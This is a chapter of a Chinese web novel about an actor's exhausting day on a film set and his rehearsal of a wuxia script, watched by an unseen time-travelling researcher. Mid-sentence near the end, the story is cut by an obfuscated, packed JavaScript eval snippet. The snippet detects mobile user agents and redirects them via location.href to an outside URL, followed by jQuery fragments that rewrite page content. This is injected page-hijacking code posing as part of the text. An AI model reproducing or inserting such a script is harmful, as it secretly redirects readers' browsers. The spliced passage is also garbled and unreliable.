在孟余的记忆里，基本上片场的一天都是从天还没亮的时候开始的。
清晨的灰色天空总是比日出更明显，那种灰并不安静，反而带着未被清理干净的噪音残留。
周围都是设备箱滚动的声响，对讲机里断断续续的指令，脚步踩在水泥地上的回声。
新的一日拍摄，孟余到的时候天色刚刚有一点亮起来。
他背着一个并不显眼的包，里面装着当天要用的剧本，替换衣物和水杯。
这天拍摄也没有助理跟着，也没有人专门来迎接。
他只是在人群中点头示意，像一颗被暂时嵌入系统的零件。
陈绍宁跟在他身后。
这是她第一次完整地进入片场，而不是像昨天晚上只是停留在边缘观察。
陈绍宁可以很自如的去任何地方，只是她很快意识到这里和她想象中的工作场所完全不同。
片场不像一个空间，它更像一张正在不断收紧的时间表。
时间被切割成极其细碎的段落，每一个段落都有明确的用途和责任人。
任何一个节点延误，都会被迅速记录并向下传导。
导演助理站在场地中央，对着手里的表不断确认时间。
“灯光五分钟内到位。”
“群演准备。”
“光替十分钟后走位。”
指令被一条条抛出，没有解释，也不需要回应。
每个人都在点头，却很少有人真正看向说话的人。
他们的目光更多是落在时间上。
这会光替在替孟余走光，而他自己被叫去化妆。
化妆间并不宽敞，几张桌子紧挨着，灯光明亮却缺乏温度。
化妆师手里的动作很快，却不显得敷衍。她一边上妆，一边用余光看着墙上的时间表。
“今天戏多，我得快点化。”她低声说了一句。
化妆师这样说不是抱怨，说白了这个岗位在剧组里也没有什么能抱怨的资格，她这样说更像是在提前适应。
孟余点了点头：“没事。”
又是那句，陈绍宁从孟余这里听到没事已经很多次了。
陈绍宁站在一旁，看着镜子里的他。妆容让他的脸看起来精神了一些，可那种被时间和饥饿压迫出来的疲惫，并没有消失。
化妆还没结束，外面已经有人开始催。
“演员好了没有？”
“准备走位了。”
化妆师加快了动作，最后扫了一层定妆粉。
“行了。”她收了化妆的东西随后让开路，“快去吧。”
孟余起身的时候动作很轻，像是怕给任何人添麻烦。
拍摄现场比化妆间更吵。
摄像机，轨道，反光板，道具被摆放在固定的位置上，每一样都有明确的编号。工作人员穿梭其中，却没有人停下来聊天。
这里没有闲置。
群演已经在一旁排好队。
他们穿着统一的服装，站姿并不整齐，却被反复要求调整位置。有人被往左推了一下，有人被往后拽了一步。
“别挡镜头。”
“站直一点。”
“你往那边去。”
指令不断落下，语气很凶也没有商量的余地。
群演们很少回应，只是默默照做，他们像背景的一部分被呼来喝去，却不被真正看见。
孟余站在主拍位置，听导演讲戏。
导演说得很快，几乎没有停顿。他的语气并不暴躁，甚至算得上克制，可那种紧迫感还是无孔不入。
“这条情绪要收。”
“最好是不超过四条。”
“我们时间不多。”
时间不多。
这句话像是一道无形的压力，从导演那里向下蔓延。
摄像准备。
第一条开拍。
孟余进入状态很快。
他的表演并不张扬，动作克制情绪收得很紧。导演没有喊停，镜头顺利推进。
“好，过。”
一句话，像是暂时的赦免。
可这种过，并不意味着轻松。
因为保一条之后，还有下一条已经在等。
陈绍宁注意到，几乎没有人因为一条顺利通过而放松。
他们只是立刻转向下一个节点。
就在这时，片场入口处传来一阵短暂的骚动。
一个外卖小哥站在警戒线外，手里提着餐袋，显得有些局促。他左右看了看，似乎不确定该不该往前。
“谁的外卖？”有人问了一句。
“我、我是送外卖的，有人点的送的地址就是这里。”小哥提高了声音。
场务走过去，皱着眉看了一眼时间。
“你怎么现在才到？”语气不重，却带着明显的不满。
“路上有点堵……”小哥解释得很快。
“现在是拍摄时间，你不知道吗？眼睛看什么呢？看不出来吗？”场务打断了他。
周围的人没有看过来，看起来人人都很冷漠，而是因为每个人都在自己的节点上，无法分神。
小哥站在原地，有些不知所措。
“我已经尽量快了。”他说。
“你慢了五分钟。”场务的声音压低了些却更冷，“你知道这一分钟耽误多少人吗？”
小哥张了张嘴，似乎想再解释却很快闭上了，他低下头，把餐袋递过去。
“下次注意。”这句话像是最终裁决，场务接过东西就离开了。
小哥看着人走了沉默着，看着自己更紧急的时间几乎是小跑着离开。
陈绍宁站在一旁，忽然感到一种熟悉的压迫。
那种感觉，她在街道上见过，在地铁里见过。
这种事情真要拿到台面上论对错，都会说没有人是坏人。
场务不是在发泄情绪，他只是负责这一段流程。
导演不是在刁难演员，他只是要保证进度。
外卖小哥也不是故意迟到，他只是被路况拖住。
可所有人，都被时间推着向前，而时间本身不接受解释，人却要在这样的时间里被拥挤着簇拥着一直往前，往钱挤着去。
拍摄继续，群演被重新调整位置，有人因为站得不够自然被反复要求重来。没有人骂他们，只是不断重复同样的指令。
“别动。”
“看前面。”
“再来一遍。”
有人开始显出疲态，却不敢出声。他们自己心里也都知道，任何多余的情绪，都可能被记录为不专业。
孟余在下一条戏里，被要求提高情绪强度。
“情绪再多一点，再多一点。”导演说。
孟余点头。
他没有问多一点是多少，一般演员都需要自己理解自己要饰演的角色，有人能很快很准确的掌握，大家都按照理解去调整。
这一条拍了三次，每一次结束，导演都会看一眼时间。
快点这两个字基本写在他的脸上，这里的场地都比人更值钱，只有不停的快快快才能剩下来钱，才有钱赚。所以那不是催促某一个人，而是在提醒整个系统我们正在被时间追赶。
但所有人被催促，并不是所有人都能拿到一样的钱，你的岗位，你的价值全在别人的评价里。
中午的休息时间被压缩得很短，盒饭被分发下来，大家就地解决。没有人真正坐下，大多数人都是蹲着吃。
孟余拿到盒饭的时候，已经有些凉了，他并没有介意，只是安静地吃着。
陈绍宁走去边上，她有点好奇二十一世纪的食物，这个被称为盒饭的东西就被孟余拿在手里，但是看了看也就是几个菜和米饭，没有什么特别不一样的，陈绍宁只是注意到，他吃得很快却不狼吞虎咽。像是已经习惯在有限的时间里完成这件事。
不远处有群演蹲在地上吃饭，背靠着道具箱，他们的谈话很轻，很快就被对讲机的声音盖过去。
“下午还有一场大戏，时间可能不够。”
时间。
又是时间。
在这个片场里，时间是一种权力吗？掌握时间的人，决定节奏；被时间追赶的人，只能不断适应。而在这条链条的最末端，是那些无法为自己争取缓冲的人。
下午的拍摄比上午更紧张。
天气开始变热，灯光让空气变得闷。有人开始出汗，却没有时间擦。
外卖小哥没有再出现，没有人打扰场务的节奏，但是陈绍宁发现，那个场务在接下来的几个节点里，语气明显更急了。
场务会催人，他也会被别人催，满脑子想法的导演时不时就有新的念头出来了，一个两个的都在催和被催的路上。
压力像是一种看不见的流体，从上一级不断向下流动，每个人都在承受，却又不得不把它传递下去。
拍摄结束的时候，天已经完全暗了，设备开始收拾，工作人员陆续离场。
这只是一天结束了。
孟余换下戏服，把自己的东西装进包里，他没有表现出明显的疲惫，只是在走出片场的时候，肩膀微微垂了一下。
陈绍宁跟在他身后，看了一整天的她终于明白为什么所有人都在赶时间。
大概是一旦慢下来，就会成为那个被责怪的人，在这样的系统里，没有人是安全的。
————
“我还好，今天的东西已经拍摄完了。” 孟余在回去的路上拿着手机，耳机线被他捏在手里来回转，好像这样就能稍微减轻一些疲劳一样。
跟他电话的是谁？
陈绍宁有点好奇，整个人跑过去凑过去看着。
好在谁都看不到她，陈绍宁好奇什么直接探头去看就好了。
曲柠？
是谁？
手机屏幕上备注着这个名字，陈绍宁并没有搜到关于孟余圈外朋友的信息，但根据说明来看，演员的人际关系圈内，不属于同行业或交叉行业的朋友或者家人都是不会被记录的，这种信息的隐私也一直保持着。
因此陈绍宁在来之前，即便已经查过孟余的信息也没有看到这个人。
但和孟余离世后似乎有关联的就是两年后离世的一位小有名气的ALS漫画家，资料显示她是出车祸离开的。
陈绍宁不太会把这些信息放进自己的论文，因此也没有太在意这个人是谁。
利川的晚上其实还是挺热闹的，从拍戏的地方离开逐渐回到市区，街上的灯光也慢慢的增多，只是孟余回到家的时候，楼道已经很安静了。
声控灯亮了一瞬，又很快暗下去。
他轻轻关上门，屋里只开着客厅角落的一盏小台灯，暖黄的光刚好铺到沙发边缘，剩下的地方都沉在柔软的阴影里。
福瑞从沙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149304|196424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发背后探出头来，尾巴晃了一下。
“我回来了。”孟余低声说，弯腰把包放下，先去洗了手。
水声在安静的屋子里显得格外清晰。
镜子里的人看起来有些疲惫，眼下的青色被灯光衬得更明显。
孟余用毛巾擦了擦脸，深呼吸了一下，才回到客厅。
茶几上放着刚从包里掏出来的剧本。
纸张有些卷边，是副导演下午随手塞给他的：“小成本武侠，男三号，你有兴趣可以试试。”
他当时只是笑着接过，说了句“好，我看看”。
现在屋子里只剩他一个人，他把剧本拿起来，翻到夹着书签的那一页。
角色名是柳疏。
出身寒门，自幼习武读书，性格清直，不善权谋。因饥荒遍地、百姓易子而食，独自提剑入朝，请开官仓放粮。
孟余靠在沙发上，慢慢往下读。
柳疏不是侠客型的人物。
他不是浪荡江湖，也不是快意恩仇。
他更像是一个把道理当成武器的人，读过书，练过剑，却始终相信说理这件事本身是有力量的。
孟余读到他第一次入宫面圣的那场戏。
他轻轻坐直了一点。
屋子里没有声音，只有窗外远处偶尔传来的车声，福瑞跳到沙发扶手上，蜷成一团。
孟余低声念出第一句台词：“草民柳疏，愿以性命请陛下开官仓。”
他的声音很轻，从台词开始在试探这个人物的重量。柳疏不是慷慨激昂的那种人，他没有嘶喊，没有悲愤。他更像是把话说到不能再退的地步，却仍然保持礼数的人。
孟余站起身，把剧本放在茶几上，退开两步像是在给一个看不见的对手让出空间。
他想象自己站在大殿上。
脚下是冰凉的石砖，远处是高高在上的龙椅。文武百官列在两侧，没有人站出来附和。
他重新开口，这一次声音稳了一点：
“草民非不知冒犯天威之罪，只是城外三十里，已有村落绝炊三日。”
他说到绝炊时，声音不自觉地低了半分。
不是渲染悲情，而是像在陈述一个事实。
他停了一下，看向空气中的某个点，像是在等皇帝的反应。
然后是下一句。
“若官仓不开，百姓自会开仓。”
这句台词写得很直。
孟余却没有用威胁的语气说出来，而是像在提醒不是他们要造反，是你把他们逼到那里。
他自己也愣了一下。
他把剧本拿起来，翻到人物小传那一页，又重新读了一遍。
“柳疏自幼见惯饥荒，性情坚忍，不善求饶。”
不善求饶，孟余想了想，把语气再收了一点，他再次站好，肩膀微微向前，像是长期背书、习武留下的姿态。
“草民知此言不敬。”他说，“但今日若不言，来日再无可言之人。”
这句话出口的时候，他没有抬高声音，反而更低了像是把最后一点希望放在对方手里。
他站在那里，沉默了几秒。
接下来是皇帝暴怒，下令拖出去斩。
剧本上写的是柳疏被侍卫押走，仍回头高声道“百姓有粮，天下自安”。
孟余却没有立刻念这句。
他闭了闭眼。
柳疏是一个会武功的人，他完全可以反抗。
可他没有。
这不是因为他不能打，而是他是来让一句话，至少被说出口。
孟余慢慢转过身，仿佛背后真的站着两名侍卫。
他把手臂往后收了一下，像是被人按住。
然后他抬起头，看向想象中的大殿深处。
“草民但死无妨。”他说，“只求陛下，夜里听一听城外风声。”
最后那句台词，他念得极轻。
轻得像是一阵风。
念完之后，屋子里重新安静下来。
福瑞在沙发上翻了个身，发出一点窸窣的声音。
孟余站在那里，过了好一会儿才慢慢放松下来。
他走回茶几旁，把剧本合上，手指在封面上停了一下。这个角色也许会被删减，也许根本不会轮到他，也许试镜时连一句完整的台词都说不完。
但他还是会把每一页都读完，把每一句都认真想一遍。
就像柳疏明知道那句话说出口会死，却还是要站到殿上。
屋里的灯光很暖，窗外的夜色却很深。
孟余把剧本放好，轻声对福瑞说：“他挺傻的，是吧？”
猫没理他，他笑了一下。
然后低头，又把刚才那句台词小声地重复了一遍。
陈绍宁盘腿坐在不远处看他自己在演戏，虽然自小长大是能看到AI演员的作品，也能看到很早很早，比她现在带着的这个时代更早或者更晚的演员的作品也看过很多。
但是她就是不太理解，为什么要拍摄这些东西呢？
就她看了一整天剧组的拍摄，好像更多的就是被钱组成的鞭子在不停的抽打着每一个人，但是大家似乎还是很喜欢在镜头前演绎着虚拟的人物。
还是说人物是虚拟的，但情绪不是虚拟的？
现在没有人能给陈绍宁答案，她似乎也不在意答案，只是跟着孟余，看着做什么她就跟着在边上看着。